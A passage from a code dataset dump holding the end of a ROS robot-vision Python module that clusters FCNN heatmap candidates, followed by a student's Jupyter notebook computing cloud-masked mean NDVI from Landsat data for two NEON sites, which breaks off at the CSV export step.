rospy.logdebug(str(len(tuple_candidates)), logger_name=\"vision_fcnn_handler\")\n        # Convert output tuples to candidates\n        for candidate in tuple_candidates:\n            # Calculate final width and height\n            width, height = candidate[0] - candidate[1], candidate[3] - candidate[2]\n            candidates.append(Candidate(candidate[1], candidate[2], width, height))\n        end = cv2.getTickCount()\n        rospy.logdebug('Cluster:' + str((end - start) / cv2.getTickFrequency()), logger_name=\"vision_fcnn_handler\")\n        return candidates\n\n    def _get_raw_candidates(self):\n        \"\"\"\n        The old candidate getter, that uses python only clustering. Use cpp version instead.\n\n        :return: a list of candidates [(Candidate), ...]\n        \"\"\"\n        out = self.get_fcnn_output()\n        r, out_bin = cv2.threshold(out, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n        candidates = list()\n        # creating points\n        # x shape\n        xshape = self._image.shape[1]\n        xlist = []\n        x = 0\n        while x < xshape:\n            xlist.append(x)\n            x += self._pointcloud_stepsize\n        # y shape\n        yshape = self._image.shape[0]\n        ylist = []\n        y = 0\n        while y < yshape:\n            ylist.append(y)\n            y += self._pointcloud_stepsize\n        # generate carthesian product of list\n        points = list(itertools.product(xlist, ylist))\n        if self._shuffle_candidate_list:\n            random.shuffle(points)\n        # expand points\n        while points:\n            point = points[-1]\n            lx, uy = point\n            rx, ly = point\n            # expand to the left\n            if not out_bin[point[1]][point[0]]:\n                points.remove(point)\n                continue\n            next_lx = max(lx - self._expand_stepsize, 0)\n            while next_lx > 0 and out_bin[point[1]][next_lx]:\n                lx = next_lx\n                next_lx = max(lx - self._expand_stepsize, 0)\n            # expand to the right\n            next_rx = min(rx + self._expand_stepsize, out_bin.shape[1] - 1)\n            while next_rx < out_bin.shape[1] - 1 and out_bin[point[1]][next_rx]:\n                rx = next_rx\n                next_rx = min(rx + self._expand_stepsize, out_bin.shape[1] - 1)\n            # expand upwards\n            next_uy = max(uy - self._expand_stepsize, 0)\n            while next_uy > 0 and out_bin[next_uy][point[0]]:\n                uy = next_uy\n                next_uy = max(uy - self._expand_stepsize, 0)\n            # expand downwards (the lowest y is the highest number for y)\n            next_ly = min(ly + self._expand_stepsize, out_bin.shape[0] - 1)\n            while next_ly < out_bin.shape[0] - 1 and out_bin[next_ly][point[0]]:\n                ly = next_ly\n                next_ly = min(ly + self._expand_stepsize, out_bin.shape[0] - 1)\n            for i in range(self._candidate_refinement_iteration_count):\n                # expand from the middle of the borders of the found candidate\n                width, height = rx - lx, ly - uy\n\n                buffer_x = lx + width // 2\n                buffer_y = uy + height // 2\n\n                # expand to the left\n                next_lx = max(lx - self._expand_stepsize, 0)\n                while next_lx > 0 and out_bin[buffer_y][next_lx]:\n                    lx = next_lx\n                    next_lx = max(lx - self._expand_stepsize, 0)\n\n                # expand to the right\n                next_rx = min(rx + self._expand_stepsize, out_bin.shape[1] - 1)\n                while next_rx < out_bin.shape[1] - 1 and out_bin[buffer_y][next_rx]:\n                    rx = next_rx\n                    next_rx = min(rx + self._expand_stepsize, out_bin.shape[1] - 1)\n\n                # expand upwards\n                next_uy = max(uy - self._expand_stepsize, 0)\n                while next_uy > 0 and out_bin[next_uy][buffer_x]:\n                    uy = next_uy\n                    next_uy = max(uy - self._expand_stepsize, 0)\n\n                # expand downwards\n                next_ly = min(ly + self._expand_stepsize, out_bin.shape[0] - 1)\n                while next_ly < out_bin.shape[0] - 1 and out_bin[next_ly][buffer_x]:\n                    ly = next_ly\n                    next_ly = min(ly + self._expand_stepsize, out_bin.shape[0] - 1)\n\n            # calculate final width and height\n            width, height = rx - lx, ly - uy\n            candidates.append(Candidate(lx, uy, width, height))\n            points.remove(point)\n            points = [other_point for other_point in points if not (lx <= other_point[0] <= rx and uy <= other_point[1] <= ly)]\n        return candidates\n\n    def get_debug_image(self):\n        \"\"\"\n        Returns the fcnn heatmap as ros image message if debug is enabled.\n\n        :return: fcnn heatmap\n        \"\"\"\n        if self._debug:\n            # Create image message with fcnn heatmap\n            return self._cv_bridge.cv2_to_imgmsg(self.get_fcnn_output(), \"mono8\")\n", "meta": {"hexsha": "3b69e328d86be19b75e92480fb3a9d46023e9197", "size": 10867, "ext": "py", "lang": "Python", "max_stars_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/fcnn_handler.py", "max_stars_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_stars_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2018-12-25T19:48:59.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T21:19:48.000Z", "max_issues_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/fcnn_handler.py", "max_issues_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_issues_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 166, "max_issues_repo_issues_event_min_datetime": "2018-12-18T15:30:14.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T09:51:14.000Z", "max_forks_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/fcnn_handler.py", "max_forks_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_forks_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2017-02-23T11:31:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-16T21:19:50.000Z", "avg_line_length": 40.5485074627, "max_line_length": 156, "alphanum_fraction": 0.5935400755, "include": true, "reason": "import numpy", "num_tokens": 2492, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.19436780635202988, "lm_q1q2_score": 0.09946123393025744}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name: Eric Gottlieb (@esgeo)**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# # Pseudocode description\n# - Step 1: Import libraries \n# - Step 2: Import data \n# - Step 3: Create working directories \n# - Step 4: Establish functions to perform batch operations on raster datasets  \n#     - Step 4a: Function to clean data in individual bands based on expected values (in this exercise 0-10000) \n#     - Step 4b: Function to crop rasters for a scene that is used for a normalized difference calculation and pixel qa-based mask. The specific code is used to calculate NDVI and mask based on cloud effects using raster bands specified in a list object \n# - Step 5: From the entirety of the dataset, create a sorted glob list object that has all scenes to be used  \n# - Step 6: Parse data from directories/filenames that will go in dataframe \n# - Step 7: Create cropping object that will be used in function 4b \n# - Step 8: Create list object with bands for NDVI calc \n# - Step 9: Create path object for cloud mask qa used in function 4b \n# - Step 10: Make for loop to first function to clean band 4 and 5 rasters\n# - Step 11: Create list object of pixel qa raster values to mask cloud effects (used in function 4b)\n# - Step 12: Create cloud effect-cleaned and cropped ndvi object using mask_crop_ndvi function \n# - Step 13: Calculate np.nanmean value from Step 12 output \n# - Step 14: Make datetime indexed pandas dataframe from Step 6 and Step 13 outputs \n# - Step 15: Retool all of Steps 7-14 into a loop function that can applied to Step 6 scene list \n# - Step 16: Concat loop output data into dataframe and deal with NaN values from cloud cover\n# - Step 17: Plot concatonated dataframe using for loop that allows data to be groupby() 'site' and excludes NaN values\n# - Step 18: Export .csv file\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport rasterio as rio\n#from rasterio.plot import plotting_extent\nimport rioxarray as rxr\nimport xarray as xr\nimport earthpy as et\nimport earthpy.plot as ep\nimport earthpy.spatial as es\nimport earthpy.mask as em\nimport warnings\n\n# Designate working directory path as object.\nmypath = os.path.join(et.io.HOME, 'earth-analytics', 'data')\n\n# Change working directory to specified path.\nif os.path.exists(mypath):\n    os.chdir(mypath)\nelse:\n    os.makedirs(mypath),\n    os.chdir(mypath),\n    print(\n        \"The path \" + os.getcwd() + \" did not exist, but has now been created.\")\n\n# Download data\net.data.get_data('ndvi-automation')\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# Functions\n\n# Function to open specified bands and mask any values outside specified range\ndef open_clean_bands(band_path,\n                     valid_range=None,):\n    \"\"\"Open/mask single landsat band using a valid reflectance value range.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    valid_range : tuple (optional)\n        A tuple of min and max values of the data. Default = None\n\n\n    Returns\n    -----------\n    band : xarray DataArray\n        An xarray DataArray w values to be masked = 1 for True (Boolean)\n    \"\"\"\n\n    band = rxr.open_rasterio(band_path, masked=True).squeeze()\n\n    # Only run this step if a valid range tuple is provided\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band = band.where(~xr.where(mask, True, False))\n\n    return band\n\n\n# Function that crop rasters for a scene that is\n# used for a normalized difference calculation and pixel qa-based mask\n# This specific code is used to calculate NDVI and mask based on cloud effects\ndef mask_crop_ndvi(all_bands,\n                   crop_bound,\n                   pixel_qa_path,\n                   vals):\n    \"\"\"Using specificed crop geometry, calculates NDVI and applied qa-mask. \n\n    Parameters\n    -----------\n    all_bands : list\n        A list of xarray objects for landsat bands used in ndvi calculation\n    crop_bound: geopandas GeoDataFrame\n        A gpd dataframe to crop the raster data using rasterio mask().\n    pixel_qa_path: string\n        A path to a pixel qa tif file.\n    vals: list\n        A list of values needed to create the cloud mask\n\n\n    Returns\n    -----------\n    ndvi_crop_mask : Xarray Dataset\n        a cropped and masked xarray object containing NDVI values\n    \"\"\"\n\n    # Make object that is crop boundary geometry\n    crop_json = crop_bound.geometry\n\n    # Open and clip qa layer using above object\n    pixel_qa = rxr.open_rasterio(\n                pixel_qa_path[0], masked=True).rio.clip(\n                crop_json, from_disk=True).squeeze()\n\n    # Calculate normalized difference (in this case NDVI)\n    # all_bands[1] is landsat band 5 (NIR) and all_bands[0] is band 4 (red)\n    ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n\n    # Create cropped norm. diff. xarray object using same crop boundary object\n    ndvi_cropped = ndvi_xr.rio.clip(crop_json, from_disk=True)\n\n    # Apply pixel qa-based mask to cropped xarray\n    ndvi_crop_mask = ndvi_cropped.where(~pixel_qa.isin(vals))\n\n    # Output xarray\n    return ndvi_crop_mask\n\n\n# The code cell below is an exercise in directory parsing, data extraction, and data processing on a single scene. For this exercise the scene is found in the directory: \n# earth-analytics/data/ndvi-automation/HARV/landsat-crop/LC080130302017031701T1-SC20181023151837\n# \n# At the beginning of the code cell, a sorted glob list of all the sites in the HARV and SJER directories is created. For the purpose of this exercise, the 5th scene in the sorted list is the one we are asked to work with, and the next block of code deals with parsing the site name (HARV) and the date (2017-03-17) from that scene.\n# \n# The extent of the vector data in the dataset is then used to create a cropping boundary for the raster data.\n# \n# Next the open_clean_bands and mask_crop_ndvi functions are run on the specified scene.\n# \n# Finally a pandas dataframe is created from the date, mean NDVI value and site name, which is then indexed by date.\n\n# In[6]:\n\n\n\n# Path/directory configurations- re-used for Task 2 (loop)\npath = os.path.join(\"ndvi-automation\", \"sites\")\n\nall_sites = sorted(glob(os.path.join(path, \"*\", \"*\", \"*/\")))\n\n\n# Parse site name for Task 1 (single scene)\n# Normpath() of specified scene from sorted glob list\nscene_5_dir = os.path.normpath(all_sites[4])\n\n# Split path directories into individual string variables in a list\npath_components = scene_5_dir.split(os.sep)\n\n# Make object from 3rd (index[2]) item in list\nsite = path_components[2]\n\n# Parse date for Task 1 (single scene)\n# Parse specified scene filename as string\nscene_5 = os.path.basename(os.path.normpath(all_sites[4]))\n\n# Parse date from filename\ndate = scene_5[10:18]\n\n# Extract crop geometry for Task 1 (single scene)\n# Designate directory containing vector file used to crop\nvector_dir = os.path.join(path, site, \"vector\")\n\n# Create object that is path to shapefile by joining pre-existing objects\ncrop_extent_path = os.path.join(vector_dir,  site + \"-crop.shp\")\n\n#Create crop boundary using geopandas to read shapefile in above path\ncrop_bound = gpd.read_file(crop_extent_path)\n\n\n# For loop to run open_clean_bands function to clean band 4 and 5 rasters\n# Create empty object to populate with .append\nall_bands = []\n\n# Create list object with bands for NDVI calc for Task 1 (single scene)\nband_paths = sorted(\n    glob(os.path.join(scene_5_dir, \"*band*[4-5].tif\")))\n\n# For loop that runs open_clean_bands function used in NDVI calculation\n# and appends the cleaned band rasters to the newly created all_bands object\nfor aband in band_paths:\n    all_bands.append(open_clean_bands(band_path=aband,\n                                      valid_range=(0, 10000)))\n\n    \n# Create cleaned ndvi object using mask_crop_ndvi function\n\n# Create list objects of pixel qa raster values to mask cloud effects\nhigh_cloud_confidence = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"]\ncloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n\n# Combine list objects into 1d array to be used in mask_crop_ndvi function\nvals = cloud_shadow + cloud + high_cloud_confidence\n\n# Create path object for cloud mask qa raster for Task 1 (single scene)\npixel_qa_path = glob(os.path.join(scene_5_dir, \"*qa*\"))\n\n# The resultant object has been cropped and cleaned for cloud effects\nndvi_clean = mask_crop_ndvi(all_bands=all_bands,\n                            crop_bound=crop_bound,\n                            pixel_qa_path=pixel_qa_path,\n                            vals=vals)\n\n\n# Create dataframe of specified columns, populating mean_ndvi using np.nanmean\nscene_5_df = pd.DataFrame(columns=[\"date\", \"mean_ndvi\", \"site\"], data=[\n                          [date, np.nanmean(ndvi_clean), site]])\n\n# Convert date to datetime format\nscene_5_df['date'] = pd.to_datetime(scene_5_df['date'], format='%Y%m%d')\n\n# Set date as index\nscene_5_df.set_index('date', inplace=True)\n\n# Call dataframe\nscene_5_df\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# The code cell below is basically just an expansion of the single scene code above into a for loop that runs the NDVI calculation on every scene in the directory.\n# \n# Intuitively it makes sense that what I did for the single scene and have repeated here in a loop could be functionalized. However, I am still a little shaky on how to execute this, and unfortunately resorted to being repetitive.\n# \n# The only real difference between the code cell below and the one for the single scene is that I added a pd.reset_index line so that there was an index column in the pandas df.\n\n# In[8]:\n\n\n# Loop through each site directory to create a date-indexed df\n# with site and mean_ndvi variables\n\n# Create blank object to populate\nalldata = []\n\n# For loop that extracts objects to be converted to df variables\nfor site_dir in all_sites:\n    # Split path of each scene directory\n    path_components = site_dir.split(os.sep)\n    \n    # Assign 'site' string from above list as object\n    site = path_components[2]\n    \n    # Parse date variable from each scene filename in list\n    date = os.path.basename(\n        os.path.normpath(site_dir))[10:18]\n    \n    # Make pixel qa raster directory object for each scene in list\n    pixel_qa_path = glob(\n        os.path.join(site_dir, \"*qa*\"))\n    \n    # Make vector directory path object\n    vector_dir = os.path.join(\n        path, site, \"vector\")\n    \n    # Make crop_extent directory object from shapefile of respective scene\n    crop_extent_path = os.path.join(\n        vector_dir, site + \"-crop.shp\")\n    \n    # Use geopandas to create crop_bound directory object\n    crop_bound = gpd.read_file(crop_extent_path)\n    \n    # Make dir_name that is the respective scene name\n    dir_name = os.path.basename(\n        os.path.normpath(site_dir))\n    \n    # Create sorted glob list of bands needed for norm diff calculation\n    band_paths = sorted(\n        glob(os.path.join(site_dir, \"*band*[4-5].tif\")))\n\n    # Re-create blank object to populate in nested loop\n    all_bands = []\n    \n    # Nested for loop to run open_clean_bands function on each band from given scene\n    for aband in band_paths:\n        # runs open_clean_bands function used in NDVI calculation for each scene\n        # and appends the cleaned band rasters to the re-created all_bands object\n        all_bands.append(open_clean_bands(\n            band_path=aband, valid_range=(0, 10000)))\n\n    # Create cleaned ndvi object using mask_crop_ndvi function\n    # The resultant object has been cropped and cleaned for cloud effects\n    ndvi_clean = mask_crop_ndvi(all_bands=all_bands,\n                                crop_bound=crop_bound,\n                                pixel_qa_path=pixel_qa_path,\n                                vals=vals)\n \n    # Make an row of data for each scene to be appended\n    # Include warning suppression for np.nanmean(df) mean of empty slice\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n        all_scenes = pd.DataFrame(columns=[\"date\", \"site\",\n                                  \"mean_ndvi\"],\n                                  data=[[date, site, np.nanmean(ndvi_clean)]]\n                                  )\n   \n    # Added this line so the dataframe was identical to the example at top\n    all_scenes.reset_index(inplace = True)\n    \n    # Format parsed date string into datetime object\n    all_scenes['date'] = pd.to_datetime(\n        all_scenes['date'], format='%Y%m%d')\n    \n    # Populate alldata object created just before start of loop\n    alldata.append(all_scenes)\n\n# Concat data into pandas dataframe\nall_data = pd.concat(alldata)\n\n# Set index by date\nall_data_indexed = all_data.set_index(\"date\")\n\n# Call dataframe object\nall_data_indexed\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# The cell below plots the data (Mean NDVI result vs date). The plot executes by looping though the pandas dataframe and assigning a symbol color based on the site (green for HARV, brown for SJER). \n\n# In[10]:\n\n\n# Eliminate NaN values for plotting\nall_data_indexed.dropna(inplace=True)\n\n# Reset index for plotting\nall_data_indexed.reset_index(inplace=True)\n\n# Call fig object\nfig, ax = plt.subplots(figsize=(12, 10))\n\n# For loop to groupby 'site' and color datapoints accordingly\nfor title, group in all_data_indexed.groupby('site'):\n    if title == \"HARV\":\n        set_color = \"green\"\n    else:\n        set_color = \"brown\"\n    \n    # Plot grouped data\n    group.groupby('site').plot(ax=ax,\n                               x='date',\n                               y='mean_ndvi',\n                               title=\"Mean Landsat NDVI values\\nHarvard Forest (HARV) and San Joaquin Experimental Ranges (SJER)\",\n                               xlabel=\"Date (yyyy-mm)\",\n                               ylabel=\"Mean NDVI value\",\n                               label=title,\n                               style='*--',\n                               color=set_color)\n\n\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Based on the data above, the flights should occur during different times of the year to take advantage of maximum greenness and best weather windows. The data show for SJER in 2017, max mean NDVI was observed between late February and early April. Timing the absolute maximum greenup would likely be highly dependent on the timing, quantity and quality (i.e., rain, snow, duration) of winter precipitation that had just been received. For example, a larger snowpack may delay greenup, but a dry winter season might cause early greenup.\n# \n# For the Harvard Forest site, max greenup in 2017 was ongoing from late spring to early fall. However, the maximum mean value was observed in early summer when the data are more sparse (due to cloud effects). Conversely, early fall had almost as high mean NDVI values and the data were less affected by cloudcover. Potentially longer lead climate prediction products from NOAA could help assess the risk of cloud interference in early summer vs early fall for an upcoming season (at least you would have someone else to blame!)   \n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# This workflow could be easily modified to look at normalized differences in other multispectral parameters such as changes in CIR or (in case of a fire) NBR values. The workflow is designed such that the `mask_crop_ndvi` function can be retooled to use different band inputs. This would require one or two basic steps:\n# \n# The first is that the band_paths object would need to be modified to include the appropriate bands, which could be easily done by just changing index values to use the required bands\n# band_paths = sorted(glob(os.path.join(site_dir, \"*band*[4-5].tif\")))\n# \n# In this case, because the NBR calcuation is also a normalized difference, one could actually use the same `mask_crop_ndvi` function but simply just change some object names for bookkeeping\n# \n# The second involves changing the function because there are more inputs, as would be the case in looking at something like mean CIR over time. Because there are 3 bands (instead of 2) used for CIR analyses, the function would need a CIR calcuation line of code added that uses the appropriate bands. \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[13]:\n\n\n# Output csv of indexed pandas dataframe\n\n# Create output path for csv file\noutput_path = 